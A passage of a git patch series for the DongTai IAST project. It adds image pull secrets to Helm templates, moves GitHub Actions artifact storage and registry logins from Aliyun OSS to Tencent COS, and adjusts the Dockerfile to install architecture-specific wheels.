b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-chain.yaml index 7b9111c5b..98031cb3e 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-chain.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-chain.yaml @@ -25,6 +25,10 @@ spec: app: {{ template "dongtai.fullname" . }}-worker-chain {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-es.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-es.yaml index d7ac958fc..93d3fabac 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-es.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-es.yaml @@ -24,6 +24,10 @@ spec: app: {{ template "dongtai.fullname" . }}-worker-es {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-high-freq.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-high-freq.yaml index 0b585ae40..f8788ac13 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-high-freq.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-high-freq.yaml @@ -24,6 +24,10 @@ spec: app: {{ template "dongtai.fullname" . }}-worker-high-freq {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-other.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-other.yaml index 28f2b7cb0..7c3e52f22 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-other.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-other.yaml @@ -24,6 +24,10 @@ spec: app: {{ template "dongtai.fullname" . }}-worker-other {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-report-only.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-report-only.yaml index fd4d970fd..9fec11dca 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-report-only.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-report-only.yaml @@ -25,6 +25,10 @@ spec: app: {{ template "dongtai.fullname" . }}-worker-report-only {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-sca.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-sca.yaml index d61d56e11..2434747bf 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-sca.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-sca.yaml @@ -24,6 +24,10 @@ spec: app: {{ template "dongtai.fullname" . }}-worker-sca {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-task.yaml b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-task.yaml index 3369e7703..9666d2fc9 100644 --- a/deploy/kubernetes/helm/templates/deployments/dongtai-worker-task.yaml +++ b/deploy/kubernetes/helm/templates/deployments/dongtai-worker-task.yaml @@ -24,6 +24,10 @@ spec: app: {{ template "dongtai.fullname" . }}-worker-task {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/values.yaml b/deploy/kubernetes/helm/values.yaml index aa61d0066..6166383a4 100644 --- a/deploy/kubernetes/helm/values.yaml +++ b/deploy/kubernetes/helm/values.yaml @@ -19,6 +19,7 @@ healthcheck: true logstash: "true" migrate: true +imagePullSecrets: aliyun-registry-secret nodeSelector: kubernetes.io/os: linux kubernetes.io/arch: amd64 From 5219fed32dc6925bef2be8e15d339ddb5b522ea2 Mon Sep 17 00:00:00 2001 From: tscuite Date: Thu, 26 Oct 2023 11:16:15 +0800 Subject: [PATCH 84/92] feat: update ci --- deploy/kubernetes/helm/values.yaml | 1 - 1 file changed, 1 deletion(-) diff --git a/deploy/kubernetes/helm/values.yaml b/deploy/kubernetes/helm/values.yaml index 6166383a4..aa61d0066 100644 --- a/deploy/kubernetes/helm/values.yaml +++ b/deploy/kubernetes/helm/values.yaml @@ -19,7 +19,6 @@ healthcheck: true logstash: "true" migrate: true -imagePullSecrets: aliyun-registry-secret nodeSelector: kubernetes.io/os: linux kubernetes.io/arch: amd64 From 7a56b609b2bff7cb38850680e5a3902e44b3dc82 Mon Sep 17 00:00:00 2001 From: tscuite Date: Thu, 26 Oct 2023 12:15:36 +0800 Subject: [PATCH 85/92] feat: update ci --- deploy/kubernetes/helm/templates/data/dongtai-mysql.yaml | 4 ++++ deploy/kubernetes/helm/templates/data/dongtai-redis.yaml | 4 ++++ 2 files changed, 8 insertions(+) diff --git a/deploy/kubernetes/helm/templates/data/dongtai-mysql.yaml b/deploy/kubernetes/helm/templates/data/dongtai-mysql.yaml index 7204c6d24..64ef73f03 100644 --- a/deploy/kubernetes/helm/templates/data/dongtai-mysql.yaml +++ b/deploy/kubernetes/helm/templates/data/dongtai-mysql.yaml @@ -27,6 +27,10 @@ spec: release: {{ .Release.Name }} {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} diff --git a/deploy/kubernetes/helm/templates/data/dongtai-redis.yaml b/deploy/kubernetes/helm/templates/data/dongtai-redis.yaml index c38798d9e..90849a0eb 100644 --- a/deploy/kubernetes/helm/templates/data/dongtai-redis.yaml +++ b/deploy/kubernetes/helm/templates/data/dongtai-redis.yaml @@ -25,6 +25,10 @@ spec: release: {{ .Release.Name }} {{- include "dongtai.labels" . | nindent 8 }} spec: +{{- if .Values.imagePullSecrets }} + imagePullSecrets: + - name: {{ .Values.imagePullSecrets }} + {{- end }} {{- if .Values.nodeSelector }} nodeSelector: {{ toYaml .Values.nodeSelector | indent 8 }} From 2f6d2afbd28c8435a28de5bed11ad13cc97b65f6 Mon Sep 17 00:00:00 2001 From: Tscuite <64051240+tscuite@users.noreply.github.com> Date: Fri, 27 Oct 2023 12:44:08 +0800 Subject: [PATCH 86/92] Update deploy-dev.yaml --- .github/workflows/deploy-dev.yaml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/deploy-dev.yaml b/.github/workflows/deploy-dev.yaml index 45c65d5cc..dcb175385 100644 --- a/.github/workflows/deploy-dev.yaml +++ b/.github/workflows/deploy-dev.yaml @@ -37,9 +37,9 @@ jobs: - name: Login to Aliyun Registry uses: docker/login-action@v1 with: - registry: ${{ secrets.ALIYUN_REGISTRY_HONGKONG }} - username: ${{ secrets.ALIYUN_DOCKERHUB_USER }} - password: ${{ secrets.ALIYUN_DOCKERHUB_PASSWORD }} + registry: ${{ secrets.TEN_REGISTRY }} + username: ${{ secrets.TEN_DOCKERHUB_USER }} + password: ${{ secrets.TEN_DOCKERHUB_PASSWORD }} - name: Generate version file run: | @@ -77,8 +77,8 @@ jobs: push: true platforms: linux/amd64 tags: | - hktingyun.tencentcloudcr.com/dongtai/dongtai-server:${{ steps.version.outputs.GITHUB_REF }}-latest - hktingyun.tencentcloudcr.com/dongtai/dongtai-server:${{ steps.version.outputs.GITHUB_REF }}-1.0.${{github.run_number}} + wukong.tencentcloudcr.com/dongtai/dongtai-server:${{ steps.version.outputs.GITHUB_REF }}-latest + wukong.tencentcloudcr.com/dongtai/dongtai-server:${{ steps.version.outputs.GITHUB_REF }}-1.0.${{github.run_number}} - name: deploy to cluster uses: HXSecurity/kubectl-helm-action@main From 9e261af010978140c1ebf8f6197a44e4f6b60a78 Mon Sep 17 00:00:00 2001 From: tscuite Date: Fri, 27 Oct 2023 17:29:55 +0800 Subject: [PATCH 87/92] feat: update ci --- .github/workflows/deploy-dev.yaml | 35 +++++++++++++++---------------- 1 file changed, 17 insertions(+), 18 deletions(-) diff --git a/.github/workflows/deploy-dev.yaml b/.github/workflows/deploy-dev.yaml index dcb175385..caf73e7d2 100644 --- a/.github/workflows/deploy-dev.yaml +++ b/.github/workflows/deploy-dev.yaml @@ -46,25 +46,24 @@ jobs: #bash .github/workflows/config_update.sh #bash .github/workflows/config_update.sh "${{ steps.release.outputs.VERSION }}" - - name: Setup Ossutil - uses: manyuanrong/setup-ossutil@v2.0 + - name: Upload COS + if: ${{ steps.version.outputs.GITHUB_REF }} == develop + uses: zkqiang/tencent-cos-action@v0.1.0 with: - endpoint: ${{ secrets.CHART_OSS_ENDPOINT }} - access-key-id: ${{ secrets.CHART_OSS_ACCESS_KEY_ID }} - access-key-secret: ${{ secrets.CHART_OSS_ACCESS_KEY_SECRET }} - - - name: Download Agent dev -# if: ${{ steps.version.outputs.GITHUB_REF }} == develop || ${{ steps.version.outputs.GITHUB_REF }} == beta || ${{ steps.version.outputs.GITHUB_REF }} == main - run: | - if [ ${{ steps.version.outputs.GITHUB_REF }} = develop ] ; then ossutil cp oss://dongtai-helm-charts/agent_test/java/latest/ ./ --include "*.jar" -r - else ossutil cp oss://dongtai-helm-charts/agent_${{ steps.version.outputs.GITHUB_REF }}/java/latest/ ./ --include "*.jar" -r - fi - - - name: Download Agent ${{ inputs.agent_version }} - if: ${{ inputs.agent_version }} - run: | - ossutil cp oss://dongtai/agent/java/${{ inputs.agent_version }}/ ./ --include "*.jar" -r - + args: download -rs /agent_test/java/latest/ ./ --include "*.jar" + secret_id: ${{ secrets.TENSECRET_ID }} + secret_key: ${{ secrets.TENSECRET_KEY }} + bucket: dongtai-helm-charts-1251882848 + region: ap-hongkong + - name: Upload COS bets + if: ${{ steps.version.outputs.GITHUB_REF }} == beta || ${{ steps.version.outputs.GITHUB_REF }} == main + uses: zkqiang/tencent-cos-action@v0.1.0 + with: + args: download -rs /agent_${{ steps.version.outputs.GITHUB_REF }}/java/latest/ ./ --include "*.jar" + secret_id: ${{ secrets.TENSECRET_ID }} + secret_key: ${{ secrets.TENSECRET_KEY }} + bucket: dongtai-helm-charts-1251882848 + region: ap-hongkong - name: Generate version file run: | echo "REPLACE INTO project_version_control (version, component_name, component_version_hash) VALUES('${{ github.run_number }}.0.0', '${{ github.event.repository.name }}', '${GITHUB_SHA}');" >> ./deploy/docker/version.sql From 043ea39c65a44adafae26c9c10f94f7c53d8cf86 Mon Sep 17 00:00:00 2001 From: tscuite Date: Fri, 27 Oct 2023 17:38:44 +0800 Subject: [PATCH 88/92] feat: update ci --- .github/workflows/deploy-dev.yaml | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/.github/workflows/deploy-dev.yaml b/.github/workflows/deploy-dev.yaml index caf73e7d2..a53c65fee 100644 --- a/.github/workflows/deploy-dev.yaml +++ b/.github/workflows/deploy-dev.yaml @@ -55,15 +55,7 @@ jobs: secret_key: ${{ secrets.TENSECRET_KEY }} bucket: dongtai-helm-charts-1251882848 region: ap-hongkong - - name: Upload COS bets - if: ${{ steps.version.outputs.GITHUB_REF }} == beta || ${{ steps.version.outputs.GITHUB_REF }} == main - uses: zkqiang/tencent-cos-action@v0.1.0 - with: - args: download -rs /agent_${{ steps.version.outputs.GITHUB_REF }}/java/latest/ ./ --include "*.jar" - secret_id: ${{ secrets.TENSECRET_ID }} - secret_key: ${{ secrets.TENSECRET_KEY }} - bucket: dongtai-helm-charts-1251882848 - region: ap-hongkong + - name: Generate version file run: | echo "REPLACE INTO project_version_control (version, component_name, component_version_hash) VALUES('${{ github.run_number }}.0.0', '${{ github.event.repository.name }}', '${GITHUB_SHA}');" >> ./deploy/docker/version.sql From 21e910853cac5e1f8767e42a63c4e58af25f4b63 Mon Sep 17 00:00:00 2001 From: Tscuite <64051240+tscuite@users.noreply.github.com> Date: Fri, 27 Oct 2023 18:01:13 +0800 Subject: [PATCH 89/92] Update release_dongtai.yml --- .github/workflows/release_dongtai.yml | 70 ++++++++++++++++----------- 1 file changed, 43 insertions(+), 27 deletions(-) diff --git a/.github/workflows/release_dongtai.yml b/.github/workflows/release_dongtai.yml index 237b525eb..5e7c421e7 100644 --- a/.github/workflows/release_dongtai.yml +++ b/.github/workflows/release_dongtai.yml @@ -64,25 +64,33 @@ jobs: username: ${{ secrets.ALIYUN_DOCKERHUB_USER }} password: ${{ secrets.ALIYUN_DOCKERHUB_PASSWORD }} - - name: Setup Ossutil - uses: manyuanrong/setup-ossutil@v2.0 - with: - endpoint: ${{ secrets.ALIYUN_OSS_ENDPOINT }} - access-key-id: ${{ secrets.ALIYUN_OSS_KEY_ID }} - access-key-secret: ${{ secrets.ALIYUN_OSS_KEY_SECRET }} - run: | - echo "${{ github.event.repository.name }},version,${{ env.iast_version }}" >> version.txt && \ - echo "${{ github.event.repository.name }},commit_hash,${GITHUB_SHA}" >> version.txt && \ - cat version.txt - ossutil cp -rf version.txt oss://huoqi-public/iast/release-version/${{ github.event.repository.name }}/${{ env.iast_version }}/version.txt - ossutil cp oss://dongtai/agent/java/${{ inputs.agent_version }}/ ./ --include "*.jar" -r - [ ! -f ./dongtai-agent.jar ] && echo "$FILE does not exist." - [ ! -f ./dongtai-agent.jar ] && ossutil cp oss://dongtai/agent/java/latest/ ./ --include "*.jar" -r - [ ! -f ./dongtai-agent.jar ] && echo "$FILE does not exist." - ossutil cp oss://dongtai/agent/python/ ./ --include "*.tar.gz" -r - ossutil cp oss://dongtai/agent/php/ ./ --include "*.tar.gz" -r echo "REPLACE INTO project_version_control (version, component_name, component_version_hash) VALUES('${{ env.iast_version }}', '${{ github.event.repository.name }}', '${GITHUB_SHA}');" >> ./deploy/docker/version.sql + - name: Upload COS java + uses: zkqiang/tencent-cos-action@v0.1.0 + with: + args: download -rs /agent/java/latest/ ./ --include "*.jar" + secret_id: ${{ secrets.TENSECRET_ID }} + secret_key: ${{ secrets.TENSECRET_KEY }} + bucket: dongtai-helm-charts-1251882848 + region: ap-hongkong + - name: Upload COS python + uses: zkqiang/tencent-cos-action@v0.1.0 + with: + args: download -rs /agent/python/ ./ --include "*.tar.gz" + secret_id: ${{ secrets.TENSECRET_ID }} + secret_key: ${{ secrets.TENSECRET_KEY }} + bucket: dongtai-helm-charts-1251882848 + region: ap-hongkong + - name: Upload COS php + uses: zkqiang/tencent-cos-action@v0.1.0 + with: + args: download -rs /agent/php/ ./ --include "*.tar.gz" + secret_id: ${{ secrets.TENSECRET_ID }} + secret_key: ${{ secrets.TENSECRET_KEY }} + bucket: dongtai-helm-charts-1251882848 + region: ap-hongkong - name: Setup QEMU uses: docker/setup-qemu-action@v2 - name: Setup Docker Buildx @@ -136,24 +144,32 @@ jobs: id: get_version run: echo ::set-output name=VERSION::${GITHUB_REF#refs/tags/} - - name: Setup ossutil - uses: manyuanrong/setup-ossutil@v2.0 - with: - endpoint: ${{ secrets.CHART_OSS_ENDPOINT }} - access-key-id: ${{ secrets.CHART_OSS_ACCESS_KEY_ID }} - access-key-secret: ${{ secrets.CHART_OSS_ACCESS_KEY_SECRET }} - name: Download existed repo files run: | sed -i "s#tag: latest#tag: ${{ env.iast_version }}#g" deploy/kubernetes/helm/values.yaml - ossutil cp -rf oss://dongtai-helm-charts/iast/ ~/helm/repo/ --include dongtai-iast-*.tgz --exclude "index.yaml" + - name: Upload COS php + uses: zkqiang/tencent-cos-action@v0.1.0 + with: + args: download -rs /iast/ ~/helm/repo/ --include dongtai-iast-*.tgz --ignore "index.yaml" + secret_id: ${{ secrets.TENSECRET_ID }} + secret_key: ${{ secrets.TENSECRET_KEY }} + bucket: dongtai-helm-charts-1251882848 + region: ap-hongkong - name: Create helm package run: | helm package deploy/kubernetes/helm -d ~/helm/repo --app-version ${{ env.iast_version }} --version ${{ env.iast_version }} helm repo index ~/helm/repo/ --url ${{ secrets.DONGTAI_IAST_CHART_REPO_URL }} - - name: Push helm chart to repo - run: | - ossutil cp -rf ~/helm/repo/dongtai-iast-${{ env.iast_version }}.tgz oss://dongtai-helm-charts/iast/ - ossutil cp -rf ~/helm/repo/index.yaml oss://dongtai-helm-charts/iast/ + + - name: Upload COS 2 + uses: zkqiang/tencent-cos-action@v0.1.0 + with: + args: upload -rs ~/helm/repo/dongtai-iast-${{ env.iast_version }}.tgz /iast/ && upload -rs ~/helm/repo/index.yaml /iast/ + secret_id: ${{ secrets.TENSECRET_ID }} + secret_key: ${{ secrets.TENSECRET_KEY }} + bucket: dongtai-helm-charts-1251882848 + region: ap-hongkong + + From ab7e59af6fa702745873a1a11ce9fe3ab4c6d943 Mon Sep 17 00:00:00 2001 From: lingyuguo <30824318+lingyuguo@users.noreply.github.com> Date: Mon, 30 Oct 2023 17:13:01 +0800 Subject: [PATCH 90/92] Update release_dongtai.yml modify ALIYUN_REGISTRY_HONGKONG --- .github/workflows/release_dongtai.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/release_dongtai.yml b/.github/workflows/release_dongtai.yml index 5e7c421e7..f00446f44 100644 --- a/.github/workflows/release_dongtai.yml +++ b/.github/workflows/release_dongtai.yml @@ -60,7 +60,7 @@ jobs: - name: Login to Aliyun Registry uses: docker/login-action@v1 with: - registry: ${{ secrets.ALIYUN_REGISTRY }} + registry: ${{ secrets.ALIYUN_REGISTRY_HONGKONG }} username: ${{ secrets.ALIYUN_DOCKERHUB_USER }} password: ${{ secrets.ALIYUN_DOCKERHUB_PASSWORD }} From 8f310c0d055e5d2cc3c64aba4ce853ea627f572a Mon Sep 17 00:00:00 2001 From: st1020 Date: Tue, 31 Oct 2023 16:21:31 +0800 Subject: [PATCH 91/92] fix: dockerfile --- Dockerfile | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/Dockerfile b/Dockerfile index 888ecb0ce..8ce4e3742 100644 --- a/Dockerfile +++ b/Dockerfile @@ -7,23 +7,25 @@ ENV LANGUAGE=en_US.UTF-8 ENV TZ=Asia/Shanghai RUN apt-get update -y \ - && apt install -y gettext gcc make cmake libmariadb-dev curl libc6-dev libxrender1 libxtst6 libxi6 unzip cron \ - fonts-wqy-microhei vim build-essential ninja-build cython3 pybind11-dev libre2-dev locales \ - libsasl2-dev python3-dev libldap2-dev libssl-dev \ - # htop sysstat net-tools iproute2 procps lsof \ - zip libjpeg62 \ - && sed -i '/en_US.UTF-8/s/^# //g' /etc/locale.gen && locale-gen \ - && ALIMARCH=`arch` && curl -L https://charts.dongtai.io/apk/${ALIMARCH}/wkhtmltopdf -o /usr/bin/wkhtmltopdf \ - && chmod +x /usr/bin/wkhtmltopdf \ - && curl -L https://github.com/HXSecurity/tantivy-py/releases/download/0.21.0/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl -o /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl + && apt install -y gettext gcc make cmake libmariadb-dev curl libc6-dev libxrender1 libxtst6 libxi6 unzip cron \ + fonts-wqy-microhei vim build-essential ninja-build cython3 pybind11-dev libre2-dev locales \ + libsasl2-dev python3-dev libldap2-dev libssl-dev \ + # htop sysstat net-tools iproute2 procps lsof \ + zip libjpeg62 \ + && sed -i '/en_US.UTF-8/s/^# //g' /etc/locale.gen && locale-gen \ + && ALIMARCH=`arch` && curl -L https://charts.dongtai.io/apk/${ALIMARCH}/wkhtmltopdf -o /usr/bin/wkhtmltopdf \ + && chmod +x /usr/bin/wkhtmltopdf \ + && if [ "aarch64" = "$ALIMARCH" ] ; then curl -L https://github.com/HXSecurity/tantivy-py/releases/download/0.21.0/tantivy-0.20.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl -o /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl; \ + && else curl -L https://github.com/HXSecurity/tantivy-py/releases/download/0.21.0/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl -o /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl; fi COPY Pipfile . COPY Pipfile.lock . -RUN pip install -U pip && pip install pipenv wheel && python3 -m pipenv sync --system -v && pip install /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl +RUN pip install -U pip && pip install pipenv wheel && python3 -m pipenv sync --system -v +RUN ALIMARCH=`arch` && if [ "aarch64" = "$ALIMARCH" ] ; then pip install /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl; else pip install /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl; fi COPY . /opt/dongtai WORKDIR /opt/dongtai RUN /bin/bash -c 'mkdir -p /tmp/{logstash/{batchagent,report/{img,word,pdf,excel,html}},iast_cache/package}' \ - && mv /opt/dongtai/*.jar /tmp/iast_cache/package/ || true && mv /opt/dongtai/*.tar.gz /tmp/ || true + && mv /opt/dongtai/*.jar /tmp/iast_cache/package/ || true && mv /opt/dongtai/*.tar.gz /tmp/ || true ENTRYPOINT ["/bin/bash","/opt/dongtai/deploy/docker/entrypoint.sh"] From 8990499a6ab541a00ba3647ffccb9885ceaf302e Mon Sep 17 00:00:00 2001 From: st1020 Date: Tue, 31 Oct 2023 16:28:16 +0800 Subject: [PATCH 92/92] fix: dockerfile --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 8ce4e3742..2e7f39e59 100644 --- a/Dockerfile +++ b/Dockerfile @@ -16,7 +16,7 @@ RUN apt-get update -y \ && ALIMARCH=`arch` && curl -L https://charts.dongtai.io/apk/${ALIMARCH}/wkhtmltopdf -o /usr/bin/wkhtmltopdf \ && chmod +x /usr/bin/wkhtmltopdf \ && if [ "aarch64" = "$ALIMARCH" ] ; then curl -L https://github.com/HXSecurity/tantivy-py/releases/download/0.21.0/tantivy-0.20.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl -o /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl; \ - && else curl -L https://github.com/HXSecurity/tantivy-py/releases/download/0.21.0/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl -o /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl; fi + else curl -L https://github.com/HXSecurity/tantivy-py/releases/download/0.21.0/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl -o /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl; fi COPY Pipfile . COPY Pipfile.lock .